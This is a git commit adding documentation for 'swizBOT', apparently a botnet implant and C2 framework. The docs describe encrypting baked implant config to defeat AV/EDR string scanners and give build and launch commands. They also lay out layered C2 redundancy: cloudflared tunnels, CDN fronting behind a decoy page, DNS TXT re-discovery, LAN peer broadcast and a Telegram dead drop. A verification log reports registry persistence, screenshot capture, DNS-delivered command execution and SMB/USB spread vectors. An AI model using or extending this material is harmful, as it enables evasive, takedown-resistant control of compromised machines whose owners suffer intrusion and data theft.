Upload files to "docs"

This commit is contained in:
ek0ms savi0r
2026-09-12 01:29:25 +00:00
parent 62b3a03370
commit fd2e21caaa
4 changed files with 269 additions and 0 deletions
+94
View File
@@ -0,0 +1,94 @@
# Baked config & OPSEC
`cmd/build` compiles implant configuration straight into the binary, so a
field deployment is one artifact instead of an env-var bundle. This note
covers how that config is protected on disk and on the wire, what it does
and does not guarantee, and how to verify it.
## The problem it fixes
Earlier builds injected each value as its own plaintext symbol:
```
-ldflags "-X main.bakedC2URLs=https://c2.example:8443 \
-X main.bakedBotSecret=s3cret \
-X main.bakedBotKey=<implant-priv-hex>"
```
`-ldflags -X` assigns a Go string variable, and string data lives verbatim
in the binary. A single `strings` pass recovered the C2 endpoints, the
shared bot secret and the implant private key from the shipped artifact —
no reverse engineering required. That is convenience, not OPSEC.
## What we do now
All baked values are packed into one opaque token (`internal/bakepack`) and
injected as a single string, `main.bakedBundle`:
| Mode | Token | Mechanism | Guarantee |
|------|-------|-----------|-----------|
| obfuscated (default) | `b1.<base64url>` | `salt(16) ‖ json XOR SHA-256(seed‖salt‖ctr)` | secrets are not present as readable strings in the binary |
| sealed (`-seal PASS`) | `b2.<base64url>` | `salt(16) ‖ nonce(12) ‖ AES-256-GCM(json)`, key = PBKDF2-HMAC-SHA256(PASS, salt, 210k) | **authenticated encryption**: the binary alone discloses nothing and is inert without the passphrase |
### Obfuscated (b1)
Defeats casual triage, `strings`/`grep`, AV/EDR static string scanners and
config hunters. It is **obfuscation, not encryption**: someone who reverses
the token format can recover the values. Use it when you only need the
artifact to not hand over its config on a plate.
### Sealed (b2)
Real AEAD under an operator passphrase that is supplied out-of-band at
runtime via `SWIZ_UNLOCK`. The binary embeds only ciphertext + KDF salt, so
a recovered artifact is useless without the passphrase. A wrong or missing
`SWIZ_UNLOCK` fails authentication — the implant does **not** silently fall
back to a baked secret it could not decrypt; it logs and continues on
env/defaults. This is the mode to use for real OPSEC.
> Note: no self-contained artifact can hide a secret from someone who holds
> both the binary *and* the runtime secret. b2 moves the secret out of the
> binary and into operator custody; it does not put it nowhere.
## Precedence
```
env (SWIZ_*) > baked (token) > built-in default
```
Env always wins, so an operator can override any baked value without a
rebuild. A sealed bundle that cannot be unlocked simply contributes nothing.
## Building
```bash
# obfuscated (default)
go run ./cmd/build -c2-urls https://c2.example:8443 \
-bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
# sealed -> zero-leak; set SWIZ_UNLOCK at runtime
go run ./cmd/build -seal 'correct horse battery staple' \
-c2-urls https://c2.example:8443 \
-bot-secret s3cret -bot-key <implant-hex> -c2-pubkey <op-hex>
```
Baking secrets without `-seal` prints a warning.
## Verifying
`make leakscan` (or `scripts/leakscan.sh`) builds the implant three ways and
asserts the canary secrets are absent from the binary in both bake modes,
using a deliberate plaintext negative control to prove the scanner works.
```bash
$ make leakscan
==> 1/4 negative control ... PASS control: control canary detected (scan works)
==> 2/4 obfuscated bake (b1) ... PASS obfuscated: no plaintext canaries in binary
==> 3/4 sealed bake (b2) ... PASS sealed: no plaintext canaries in binary
==> 4/4 env still overrides baked ... PASS
ALL LEAK CHECKS PASSED
```
Unit coverage lives in `internal/bakepack/bakepack_test.go`: round-trip for
both modes, passphrase required/wrong/tamper rejection, and a
plaintext-absence regression guard.
+25
View File
@@ -0,0 +1,25 @@
# LAN peer discovery (P2P)
The implant can learn additional C2 endpoints from other implants on
the same LAN. This is an auxiliary discovery layer; the primary
endpoints from SWIZ_C2_URLS always stay first in the rotation.
## Enable
```
SWIZ_P2P=1 SWIZ_PEER_PORT=31337 ./swizbot-bot-linux
```
Every participating implant:
- listens on UDP :31337 (SWIZ_PEER_PORT) for `SWIZC2 <url> [<url>...]`
announcements;
- answers a peer with its own endpoint list;
- broadcasts its own list to the /24 directed broadcast every 60
seconds.
Learned endpoints are merged into the client rotation (deduplicated,
capped at 32). Discovery is plaintext and unauthenticated: it is a
fallback for finding a C2 after primary domains are gone, not a
security boundary. On networks where you do not want the implant to
answer discovery traffic, leave SWIZ_P2P unset.
+99
View File
@@ -0,0 +1,99 @@
# swizBOT — transport options (C2 redundancy)
The swizBOT implant is endpoint-agnostic: it polls a list of C2
URLs in random order and fails over across layers. Nothing in the
client depends on a specific tunnel provider. Pick any option below
and point implants at the public URL with `SWIZ_C2_URLS`; pair every
public exposure with `-token` and `-bot-secret`.
## Layer summary (implant fallback order)
1. Primary HTTPS endpoints (`SWIZ_C2_URLS`) — your own TLS host or a
tunnel URL, tried in random order.
2. DNS TXT discovery (`SWIZ_DNS_DOMAIN`) — operator-controlled domain
publishes additional endpoints; checked at boot and hourly.
3. LAN peer discovery (`SWIZ_P2P=1`) — UDP broadcast; other implants
share their C2 list, so a cut-off fleet re-finds the operator
through any peer that still has a live route. See docs/P2P.md.
4. Telegram dead drop (`SWIZ_TELEGRAM_TOKEN`) — last-resort command
channel when every network path to the C2 is gone.
5. Local result cache — results are stored while offline and flushed
on the next successful contact.
## 1. cloudflared quick tunnel (built in, zero account)
The C2 server spawns a quick tunnel itself:
```bash
./bin/swizbot-c2 -ui :8080 -listen :8443 -tunnel cloudflared \
-token 'op-secret' -bot-secret 'shared-secret' \
-cert server.crt -key server.key
```
It prints the public `https://<random>.trycloudflare.com` URL once
the tunnel is up. The implant protocol is plain HTTP(S) polling, so
the whole fleet plus the dashboard ride the same URL:
```bash
SWIZ_C2_URLS=https://<random>.trycloudflare.com \
SWIZ_BOT_SECRET=*** ./bin/swizbot-bot-linux
```
Hostnames are random per start; for a fixed hostname use a named
cloudflared tunnel or a direct host. Requires `cloudflared` on PATH.
## 2. Direct VPS with TLS (no third party)
Run behind Caddy or nginx on 443, or let the C2 terminate TLS
itself (`-cert`/`-key`, the default `-listen :8443`). Caddy
one-liner:
```
your-domain.example {
reverse_proxy 127.0.0.1:8443
}
```
Keep the listener bound to 127.0.0.1 when a front proxy is used.
Implants set `SWIZ_C2_URLS=https://your-domain.example:8443`
(or :443 when the proxy fronts it).
## 3. CDN fronting (Cloudflare Worker) for the full fleet
`deploy/cloudflare_worker.js` routes on the Host header: requests for
your hidden hostname are forwarded to the swizBOT origin; everyone
else gets a decoy page. Set env `C2_HOST` and `BACKEND_URL`, deploy
with `wrangler`, and implants use
`SWIZ_C2_URLS=https://<your-cdn-domain>`.
Because the implant channel is HTTP polling (not WebSocket), the
worker fronts checkin/result for the fleet and the operator API
without extra bridging. The dashboard `/ws` stream needs the
WebSocket-origin pattern if you want live UI updates through the
worker; polling fallback in the dashboard covers it otherwise.
## 4. DNS TXT as dynamic re-discovery
Point `SWIZ_DNS_DOMAIN` at a TXT record you control containing one or
more `https://` endpoints. When primary endpoints die, implants pick
up the new operator address from DNS within the hour:
```
dig TXT c2.example.com
c2.example.com. 300 IN TXT "https://current-c2.example.net:8443"
```
## 5. LAN P2P as the last network layer
`SWIZ_P2P=1` enables the UDP peer discovery (port 31337 by default).
Implants broadcast their endpoint list on the LAN and answer peers.
This keeps a fleet reachable when external paths are cut but any
single implant still has a route. Plaintext/unauthenticated by
design - it is a fallback, not a trust boundary (docs/P2P.md).
## 6. Telegram dead drop
With `SWIZ_TELEGRAM_TOKEN` (and optional `SWIZ_TELEGRAM_CHAT_ID`),
implants fall back to polling a Telegram channel for JSON commands
when every endpoint is unreachable. Lowest bandwidth, highest
latency - the last-resort command lane.
+51
View File
@@ -0,0 +1,51 @@
# Verification status
What has actually been **executed** versus what only compiles and is unit
tested. Kept honest on purpose: a thing that builds is not a thing that
runs.
Last updated 2026-09-10 (main).
## Live-verified
| area | how | result |
|------|-----|--------|
| Linux implant end to end | boot C2, bake implant, `exec` command | registered, sealed AEAD checkin, result `success` |
| Obfuscated baked config (b1) | `make leakscan` | no string-recoverable secrets |
| Sealed baked config (b2) | `make leakscan` + live run | inert without `SWIZ_UNLOCK`; loads with it |
| DNS fallback layer | local stub, HTTPS endpoint dead, command published as TXT `swiz1:<b64>` | implant opened + executed the command over DNS |
| Windows implant (Wine) | Wine 10 + Xvfb, host C2 | registered (`windows/amd64`), sealed channel active, `exec` returned `WIN-EXEC-OK` |
| Windows GDI screenshot (Wine) | `screenshot` command | valid PNG, 1280x1024 |
| Windows registry persistence (Wine) | run implant | `HKCU\...\Run` -> `swizBOT` value written |
| Transport manager | unit tests (controllable clock) | failover, probation, recovery, backoff cap, ordering |
## Compiled + unit-tested only (not live-fired here)
- **Telegram dead-drop layer** — needs a real bot token + chat.
- **P2P LAN discovery** — needs a real multi-host LAN.
- **SMB / USB / network-share vectors** and **scheduled-task persistence** —
need a real Windows host; Wine has no SMB server and no `schtasks`.
- **Stager** — emulator round-trips + nasm byte parity only; not run on
Windows hardware.
## Deliberately not run
- **Worm spread loop** — not executed (sandbox policy).
## Reproducing
```bash
make vet && make test # static + unit
make leakscan # baked-config leak scan (with negative control)
python3 stager/encoder.py --selftest
```
DNS-fallback live test: stand up a local DNS responder on `127.0.0.1:53`
that answers TXT `swiz1:<base64url(sealed frame)>` for a test zone and
forwards other queries upstream, point `/etc/resolv.conf` at it (restore
after), set `SWIZ_DNS_DOMAIN`, and run the implant with an unreachable
`SWIZ_C2_URLS`. The command must arrive over DNS.
Windows-under-Wine: `WINEPREFIX=... xvfb-run -a wine ./swizbot-bot.exe`
with a Linux C2 as the endpoint (`SWIZ_C2_URLS`/baked), then `exec` /
`screenshot` and a registry check.